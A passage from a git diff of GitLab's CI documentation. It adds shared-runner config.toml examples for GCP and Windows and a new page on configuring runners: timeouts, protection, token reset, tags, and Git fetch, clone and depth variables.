always pristine. -If an existing worktree is found, it is removed before cloning. - -`fetch` is faster as it re-uses the local working copy (falling back to `clone` -if it does not exist). `git clean` is used to undo any changes made by the last -job, and `git fetch` is used to retrieve commits made after the last job ran. - -However, `fetch` does require access to the previous worktree. This works -well when using the `shell` or `docker` executor because these -try to preserve worktrees and try to re-use them by default. - -This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). - -It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html), -but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists. -The `kubernetes` executor always clones into an temporary directory. - -A Git strategy of `none` also re-uses the local working copy, but skips all Git -operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, -if present. This strategy could mean you need to add `fetch` and `checkout` commands -to [your `.gitlab-ci.yml` script](../yaml/README.md#script). - -It can be used for jobs that operate exclusively on artifacts, like a deployment job. -Git repository data may be present, but it's likely out of date. You should only -rely on files brought into the local working copy from cache or artifacts. - -### Git submodule strategy - -> Requires GitLab Runner v1.10+. - -The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git -submodules are included when fetching the code before a build. You can set them -globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -There are three possible values: `none`, `normal`, and `recursive`: - -- `none` means that submodules are not included when fetching the project - code. This is the default, which matches the pre-v1.10 behavior. - -- `normal` means that only the top-level submodules are included. It's - equivalent to: - - ```shell - git submodule sync - git submodule update --init - ``` - -- `recursive` means that all submodules (including submodules of submodules) - are included. This feature needs Git v1.8.1 and later. When using a - GitLab Runner with an executor not based on Docker, make sure the Git version - meets that requirement. It's equivalent to: - - ```shell - git submodule sync --recursive - git submodule update --init --recursive - ``` - -For this feature to work correctly, the submodules must be configured -(in `.gitmodules`) with either: - -- the HTTP(S) URL of a publicly-accessible repository, or -- a relative path to another repository on the same GitLab server. See the - [Git submodules](../git_submodules.md) documentation. - -### Git checkout - -> Introduced in GitLab Runner 9.3. - -The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either -`clone` or `fetch` to specify whether a `git checkout` should be run. If not -specified, it defaults to true. You can set them globally or per-job in the -[`variables`](../yaml/README.md#variables) section. - -If set to `false`, the runner: - -- when doing `fetch` - updates the repository and leaves the working copy on - the current revision, -- when doing `clone` - clones the repository and leaves the working copy on the - default branch. - -If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way. -The runner checks out the working copy of a revision related -to the CI pipeline: - -```yaml -variables: - GIT_STRATEGY: clone - GIT_CHECKOUT: "false" -script: - - git checkout -B master origin/master - - git merge $CI_COMMIT_SHA -``` - -### Git clean flags - -> Introduced in GitLab Runner 11.10 - -The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of -`git clean` after checking out the sources. You can set it globally or per-job in the -[`variables`](../yaml/README.md#variables) section. - -`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean) -command. - -`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified. - -If `GIT_CLEAN_FLAGS` is: - -- Not specified, `git clean` flags default to `-ffdx`. -- Given the value `none`, `git clean` is not executed. - -For example: - -```yaml -variables: - GIT_CLEAN_FLAGS: -ffdx -e cache/ -script: - - ls -al cache/ -``` - -### Git fetch extra flags - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. - -The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of -`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified. - -The default flags are: - -- [GIT_DEPTH](#shallow-cloning). -- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec). -- A remote called `origin`. - -If `GIT_FETCH_EXTRA_FLAGS` is: - -- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags. -- Given the value `none`, `git fetch` is executed only with the default flags. - -For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`: - -```yaml -variables: - GIT_FETCH_EXTRA_FLAGS: --prune -script: - - ls -al cache/ -``` - -The configuration above results in `git fetch` being called this way: - -```shell -git fetch origin $REFSPECS --depth 50 --prune +Settings that are not public are shown as `X`. + +**Google Cloud Platform** + +```toml +concurrent = X +check_interval = 1 +metrics_server = "X" +sentry_dsn = "X" + +[[runners]] + name = "docker-auto-scale" + request_concurrency = X + url = "https://gitlab.com/" + token = "SHARED_RUNNER_TOKEN" + pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\"" + executor = "docker+machine" + environment = [ + "DOCKER_DRIVER=overlay2", + "DOCKER_TLS_CERTDIR=" + ] + limit = X + [runners.docker] + image = "ruby:2.5" + privileged = true + volumes = [ + "/certs/client", + "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP. + ] + [runners.machine] + IdleCount = 50 + IdleTime = 3600 + MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused. + MachineName = "srm-%s" + MachineDriver = "google" + MachineOptions = [ + "google-project=PROJECT", + "google-disk-size=25", + "google-machine-type=n1-standard-1", + "google-username=core", + "google-tags=gitlab-com,srm", + "google-use-internal-ip", + "google-zone=us-east1-d", + "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928 + "google-machine-image=PROJECT/global/images/IMAGE", + "engine-opt=ipv6", # This will create IPv6 interfaces in the containers. + "engine-opt=fixed-cidr-v6=fc00::/7", + "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600 + ] + [[runners.machine.autoscaling]] + Periods = ["* * * * * sat,sun *"] + Timezone = "UTC" + IdleCount = 70 + IdleTime = 3600 + [[runners.machine.autoscaling]] + Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"] + Timezone = "UTC" + IdleCount = 700 + IdleTime = 3600 + [runners.cache] + Type = "gcs" + Shared = true + [runners.cache.gcs] + CredentialsFile = "/path/to/file" + BucketName = "bucket-name" ``` -Where `$REFSPECS` is a value provided to the runner internally by GitLab. +## Windows shared runners (beta) -### Shallow cloning +The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) +and shouldn't be used for production workloads. -> Introduced in GitLab 8.9 as an experimental feature. +During this beta period, the [shared runner pipeline quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) +applies for groups and projects in the same manner as Linux runners. This may +change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). -You can specify the depth of fetching and cloning using `GIT_DEPTH`. -`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning. -It can be helpful for repositories with a large number of commits or old, large binaries. The value is -passed to `git fetch` and `git clone`. +Windows shared runners on GitLab.com autoscale by launching virtual machines on +the Google Cloud Platform. This solution uses an +[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) +developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). +Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with +2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in +the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). -In GitLab 12.0 and later, newly-created projects automatically have a -[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone). +We want to keep iterating to get Windows shared runners in a stable state and +[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga). +You can follow our work towards this goal in the +[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). -If you use a depth of `1` and have a queue of jobs or retry -jobs, jobs may fail. +### Configuration -Git fetching and cloning is based on a ref, such as a branch name, so runners -can't clone a specific commit SHA. If multiple jobs are in the queue, or -you're retrying an old job, the commit to be tested must be within the -Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make -it impossible to run these old commits and `unresolved reference` is displayed in -job logs. You should then reconsider changing `GIT_DEPTH` to a higher value. +The full contents of our `config.toml` are: -Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is -set since only part of the Git history is present. - -To fetch or clone only the last 3 commits: - -```yaml -variables: - GIT_DEPTH: "3" +NOTE: +Settings that aren't public are shown as `X`. + +```toml +concurrent = X +check_interval = 3 + +[[runners]] + name = "windows-runner" + url = "https://gitlab.com/" + token = "TOKEN" + executor = "custom" + builds_dir = "C:\\GitLab-Runner\\builds" + cache_dir = "C:\\GitLab-Runner\\cache" + shell = "powershell" + [runners.custom] + config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"] + prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"] + run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"] + cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"] ``` -You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -### Custom build directories - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10. - -By default, GitLab Runner clones the repository in a unique subpath of the -`$CI_BUILDS_DIR` directory. However, your project might require the code in a -specific directory (Go projects, for example). In that case, you can specify -the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the -repository in: - -```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name - -test: - script: - - pwd +The full contents of our `autoscaler/config.toml` are: + +```toml +Provider = "gcp" +Executor = "winrm" +OS = "windows" +LogLevel = "info" +LogFormat = "text" +LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log" +VMTag = "windows" + +[GCP] + ServiceAccountFile = "PATH" + Project = "some-project-df9323" + Zone = "us-east1-c" + MachineType = "n1-standard-2" + Image = "IMAGE" + DiskSize = 50 + DiskType = "pd-standard" + Subnetwork = "default" + Network = "default" + Tags = ["TAGS"] + Username = "gitlab_runner" + +[WinRM] + MaximumTimeout = 3600 + ExecutionMaxRetries = 0 + +[ProviderCache] + Enabled = true + Directory = "C:\\GitLab-Runner\\autoscaler\\machines" ``` -The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` -is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) -setting. - -This can only be used when `custom_build_dir` is enabled in the -[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). -This is the default configuration for the `docker` and `kubernetes` executors. - -#### Handling concurrency - -An executor that uses a concurrency greater than `1` might lead -to failures. Multiple jobs might be working on the same directory if the `builds_dir` -is shared between jobs. - -The runner does not try to prevent this situation. It's up to the administrator -and developers to comply with the requirements of runner configuration. +### Example -To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner -exposes two additional variables that provide a unique `ID` of concurrency: - -- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor. -- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project. - -The most stable configuration that should work well in any scenario and on any executor -is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example: +Below is a simple `.gitlab-ci.yml` file to show how to start using the +Windows shared runners: ```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name - -test: +.shared_windows_runners: + tags: + - shared-windows + - windows + - windows-1809 + +stages: + - build + - test + +before_script: + - Set-Variable -Name "time" -Value (date -Format "%H:%m") + - echo ${time} + - echo "started by ${GITLAB_USER_NAME}" + +build: + extends: + - .shared_windows_runners + stage: build script: - - pwd -``` - -The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` -as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example: - -```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH + - echo "running scripts in the build job" test: + extends: + - .shared_windows_runners + stage: test script: - - pwd -``` - -#### Nested paths - -The value of `GIT_CLONE_PATH` is expanded once and nesting variables -within is not supported. - -For example, you define both the variables below in your -`.gitlab-ci.yml` file: - -```yaml -variables: - GOPATH: $CI_BUILDS_DIR/go - GIT_CLONE_PATH: $GOPATH/src/namespace/project -``` - -The value of `GIT_CLONE_PATH` is expanded once into -`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure -because `$CI_BUILDS_DIR` is not expanded. - -### Job stages attempts - -> Introduced in GitLab, it requires GitLab Runner v1.9+. - -You can set the number of attempts that the running job tries to execute -the following stages: - -| Variable | Description | -|---------------------------------|--------------------------------------------------------| -| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job | -| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). | -| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job | -| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job | - -The default is one single attempt. - -Example: - -```yaml -variables: - GET_SOURCES_ATTEMPTS: 3 -``` - -You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -## System calls not available on GitLab.com shared runners - -GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. - -## Artifact and cache settings - -> Introduced in GitLab Runner 13.9. - -Artifact and cache settings control the compression ratio of artifacts and caches. -Use these settings to specify the size of the archive produced by a job. - -- On a slow network, uploads might be faster for smaller archives. -- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger. - -For [GitLab Pages](../../user/project/pages/index.md) to serve -[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts -should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives -support this feature. - -A meter can also be enabled to provide the rate of transfer for uploads and downloads. - -```yaml -variables: - # output upload and download progress every 2 seconds - TRANSFER_METER_FREQUENCY: "2s" - - # Use fast compression for artifacts, resulting in larger archives - ARTIFACT_COMPRESSION_LEVEL: "fast" - - # Use no compression for caches - CACHE_COMPRESSION_LEVEL: "fastest" + - echo "running scripts in the test job" ``` -| Variable | Description | -|---------------------------------|--------------------------------------------------------| -| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. | -| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | -| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | +### Limitations and known issues + +- All the limitations mentioned in our [beta + definition](https://about.gitlab.com/handbook/product/#beta). +- The average provisioning time for a new Windows VM is 5 minutes. + This means that you may notice slower build start times + on the Windows shared runner fleet during the beta. In a future + release we intend to update the autoscaler to enable + the pre-provisioning of virtual machines. This is intended to significantly reduce + the time it takes to provision a VM on the Windows fleet. You can + follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). +- The Windows shared runner fleet may be unavailable occasionally + for maintenance or updates. +- The Windows shared runner virtual machine instances do not use the + GitLab Docker executor. This means that you can't specify + [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in + your pipeline configuration. +- For the beta release, we have included a set of software packages in + the base VM image. If your CI job requires additional software that's + not included in this list, then you must add installation + commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required + software. Note that each job runs on a new VM instance, so the + installation of additional software packages needs to be repeated for + each job in your pipeline. +- The job may stay in a pending state for longer than the + Linux shared runners. +- There is the possibility that we introduce breaking changes which will + require updates to pipelines that are using the Windows shared runner + fleet. diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md new file mode 100644 index 00000000000..775de26b772 --- /dev/null +++ b/doc/ci/runners/configure_runners.md @@ -0,0 +1,601 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Configuring runners + +If you have installed your own runners, you can configure and secure them in GitLab. + +If you need to configure runners on the machine where you installed GitLab Runner, see +[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration). + +## Manually clear the runner cache + +Read [clearing the cache](../caching/index.md#clearing-the-cache). + +## Set maximum job timeout for a runner + +For each runner, you can specify a *maximum job timeout*. This timeout, +if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. + +This feature can be used to prevent your shared runner from being overwhelmed +by a project that has jobs with a long timeout (for example, one week). + +When not configured, runners do not override the project timeout. + +On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout). + +To set the maximum job timeout: + +1. In a project, go to **Settings > CI/CD > Runners**. +1. Select your specific runner to edit the settings. +1. Enter a value under **Maximum job timeout**. +1. Select **Save changes**. + +How this feature works: + +**Example 1 - Runner timeout bigger than project timeout** + +1. You set the _maximum job timeout_ for a runner to 24 hours +1. You set the _CI/CD Timeout_ for a project to **2 hours** +1. You start a job +1. The job, if running longer, times out after **2 hours** + +**Example 2 - Runner timeout not configured** + +1. You remove the _maximum job timeout_ configuration from a runner +1. You set the _CI/CD Timeout_ for a project to **2 hours** +1. You start a job +1. The job, if running longer, times out after **2 hours** + +**Example 3 - Runner timeout smaller than project timeout** + +1. You set the _maximum job timeout_ for a runner to **30 minutes** +1. You set the _CI/CD Timeout_ for a project to 2 hours +1. You start a job +1. The job, if running longer, times out after **30 minutes** + +## Be careful with sensitive information + +With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), +if you can run a job on the runner, you can get full access to the file system, +and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone +that runs jobs on the runner, can access anyone else's code that runs on the +runner. + +In addition, because you can get access to the runner token, it is possible +to create a clone of a runner and submit false jobs, for example. + +The above is easily avoided by restricting the usage of shared runners +on large public GitLab instances, controlling access to your GitLab instance, +and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). + +### Prevent runners from revealing sensitive information + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. + +You can protect runners so they don't reveal sensitive information. +When a runner is protected, the runner picks jobs created on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, +and ignores other jobs. + +To protect or unprotect a runner: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to protect or unprotect. Make sure it's enabled. +1. Click the pencil button. +1. Check the **Protected** option. +1. Click **Save changes**. + + + +### Forks + +Whenever a project is forked, it copies the settings of the jobs that relate +to it. This means that if you have shared runners set up for a project and +someone forks that project, the shared runners serve jobs of this project. + +### Attack vectors in runners + +Mentioned briefly earlier, but the following things of runners can be exploited. +We're always looking for contributions that can mitigate these +[Security Considerations](https://docs.gitlab.com/runner/security/). + +### Reset the runner registration token for a project + +If you think that a registration token for a project was revealed, you should +reset it. A token can be used to register another runner for the project. That new runner +may then be used to obtain the values of secret variables or to clone project code. + +To reset the token: + +1. Go to the project's **Settings > CI/CD**. +1. Expand the **General pipelines settings** section. +1. Find the **Runner token** form field and click the **Reveal value** button. +1. Delete the value and save the form. +1. After the page is refreshed, expand the **Runners settings** section + and check the registration token - it should be changed. + +From now on the old token is no longer valid and does not register +any new runners to the project. If you are using any tools to provision and +register new runners, the tokens used in those tools should be updated to reflect the +value of the new token. + +## Determine the IP address of a runner + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. + +It may be useful to know the IP address of a runner so you can troubleshoot +issues with that runner. GitLab stores and displays the IP address by viewing +the source of the HTTP requests it makes to GitLab when polling for jobs. The +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. + +The IP address for shared runners and specific runners can be found in +different places. + +### Determine the IP address of a shared runner + +To view the IP address of a shared runner you must have admin access to +the GitLab instance. To determine this: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Runners**. +1. Find the runner in the table and view the **IP Address** column. + + + +### Determine the IP address of a specific runner + +To can find the IP address of a runner for a specific project, +you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the +project. + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. On the details page you should see a row for **IP Address**. + + + +## Use tags to limit the number of jobs using the runner + +You must set up a runner to be able to run all the different types of jobs +that it may encounter on the projects it's shared over. This would be +problematic for large amounts of projects, if it weren't for tags. + +GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners. +Git tags are associated with commits. + +By tagging a runner for the types of jobs it can handle, you can make sure +shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). + +For instance, at GitLab we have runners tagged with `rails` if they contain +the appropriate dependencies to run Rails test suites. + +When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** +[tagged jobs](../yaml/README.md#tags). +To change this, you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project. + +To make a runner pick untagged jobs: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to pick untagged jobs and make sure it's enabled. +1. Click the pencil button. +1. Check the **Run untagged jobs** option. +1. Click the **Save changes** button for the changes to take effect. + +NOTE: +The runner tags list can not be empty when it's not allowed to pick untagged jobs. + +Below are some example scenarios of different variations. + +### runner runs only tagged jobs + +The following examples illustrate the potential impact of the runner being set +to run only tagged jobs. + +Example 1: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has a `hello` tag is executed and stuck. + +Example 2: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has a `docker` tag is executed and run. + +Example 3: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has no tags defined is executed and stuck. + +### runner is allowed to run untagged jobs + +The following examples illustrate the potential impact of the runner being set +to run tagged and untagged jobs. + +Example 1: + +1. The runner is configured to run untagged jobs and has the `docker` tag. +1. A job that has no tags defined is executed and run. +1. A second job that has a `docker` tag defined is executed and run. + +Example 2: + +1. The runner is configured to run untagged jobs and has no tags defined. +1. A job that has no tags defined is executed and run. +1. A second job that has a `docker` tag defined is stuck. + +## Configure runner behavior with variables + +You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior +globally or for individual jobs: + +- [`GIT_STRATEGY`](#git-strategy) +- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) +- [`GIT_CHECKOUT`](#git-checkout) +- [`GIT_CLEAN_FLAGS`](#git-clean-flags) +- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags) +- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning) +- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories) + +You can also use variables to configure how many times a runner +[attempts certain stages of job execution](#job-stages-attempts). + +### Git strategy + +> - Introduced in GitLab 8.9 as an experimental feature. +> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+. + +You can set the `GIT_STRATEGY` used to fetch the repository content, either +globally or per-job in the [`variables`](../yaml/README.md#variables) section: + +```yaml +variables: + GIT_STRATEGY: clone +``` + +There are three possible values: `clone`, `fetch`, and `none`. If left unspecified, +jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy). + +`clone` is the slowest option. It clones the repository from scratch for every +job, ensuring that the local working copy is always pristine. +If an existing worktree is found, it is removed before cloning. + +`fetch` is faster as it re-uses the local working copy (falling back to `clone` +if it does not exist). `git clean` is used to undo any changes made by the last +job, and `git fetch` is used to retrieve commits made after the last job ran. + +However, `fetch` does require access to the previous worktree. This works +well when using the `shell` or `docker` executor because these +try to preserve worktrees and try to re-use them by default. + +This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). + +It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html), +but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists. +The `kubernetes` executor always clones into an temporary directory. + +A Git strategy of `none` also re-uses the local working copy, but skips all Git +operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, +if present. This strategy could mean you need to add `fetch` and `checkout` commands +to [your `.gitlab-ci.yml` script](../yaml/README.md#script). + +It can be used for jobs that operate exclusively on artifacts, like a deployment job. +Git repository data may be present, but it's likely out of date. You should only +rely on files brought into the local working copy from cache or artifacts. + +### Git submodule strategy + +> Requires GitLab Runner v1.10+. + +The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git +submodules are included when fetching the code before a build. You can set them +globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +There are three possible values: `none`, `normal`, and `recursive`: + +- `none` means that submodules are not included when fetching the project + code. This is the default, which matches the pre-v1.10 behavior. + +- `normal` means that only the top-level submodules are included. It's + equivalent to: + + ```shell + git submodule sync + git submodule update --init + ``` + +- `recursive` means that all submodules (including submodules of submodules) + are included. This feature needs Git v1.8.1 and later. When using a + GitLab Runner with an executor not based on Docker, make sure the Git version + meets that requirement. It's equivalent to: + + ```shell + git submodule sync --recursive + git submodule update --init --recursive + ``` + +For this feature to work correctly, the submodules must be configured +(in `.gitmodules`) with either: + +- the HTTP(S) URL of a publicly-accessible repository, or +- a relative path to another repository on the same GitLab server. See the + [Git submodules](../git_submodules.md) documentation. + +### Git checkout + +> Introduced in GitLab Runner 9.3. + +The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either +`clone` or `fetch` to specify whether a `git checkout` should be run. If not +specified, it defaults to true. You can set them globally or per-job in the +[`variables`](../yaml/README.md#variables) section. + +If set to `false`, the runner: + +- when doing `fetch` - updates the repository and leaves the working copy on + the current revision, +- when doing `clone` - clones the repository and leaves the working copy on the + default branch. + +If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way. +The runner checks out the working copy of a revision related +to the CI pipeline: + +```yaml +variables: + GIT_STRATEGY: clone + GIT_CHECKOUT: "false" +script: + - git checkout -B master origin/master + - git merge $CI_COMMIT_SHA +``` + +### Git clean flags + +> Introduced in GitLab Runner 11.10 + +The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of +`git clean` after checking out the sources. You can set it globally or per-job in the +[`variables`](../yaml/README.md#variables) section. + +`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean) +command. + +`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified. + +If `GIT_CLEAN_FLAGS` is: + +- Not specified, `git clean` flags default to `-ffdx`. +- Given the value `none`, `git clean` is not executed. + +For example: + +```yaml +variables: + GIT_CLEAN_FLAGS: -ffdx -e cache/ +script: + - ls -al cache/ +``` + +### Git fetch extra flags + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. + +The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of +`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified. + +The default flags are: + +- [GIT_DEPTH](#shallow-cloning). +- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec). +- A remote called `origin`. + +If `GIT_FETCH_EXTRA_FLAGS` is: + +- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags. +- Given the value `none`, `git fetch` is executed only with the default flags. + +For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`: + +```yaml +variables: + GIT_FETCH_EXTRA_FLAGS: --prune +script: + - ls -al cache/ +``` + +The configuration above results in `git fetch` being called this way: + +```shell +git fetch origin $REFSPECS --depth 50 --prune +``` + +Where `$REFSPECS` is a value provided to the runner internally by GitLab. + +### Shallow cloning + +> Introduced in GitLab 8.9 as an experimental feature. + +You can specify the depth of fetching and cloning using `GIT_DEPTH`. +`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning. +It can be helpful for repositories with a large number of commits or old, large binaries. The value is +passed to `git fetch` and `git clone`. + +In GitLab 12.0 and later, newly-created projects automatically have a +[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone). + +If you use a depth of `1` and have a queue of jobs or retry +jobs, jobs may fail. + 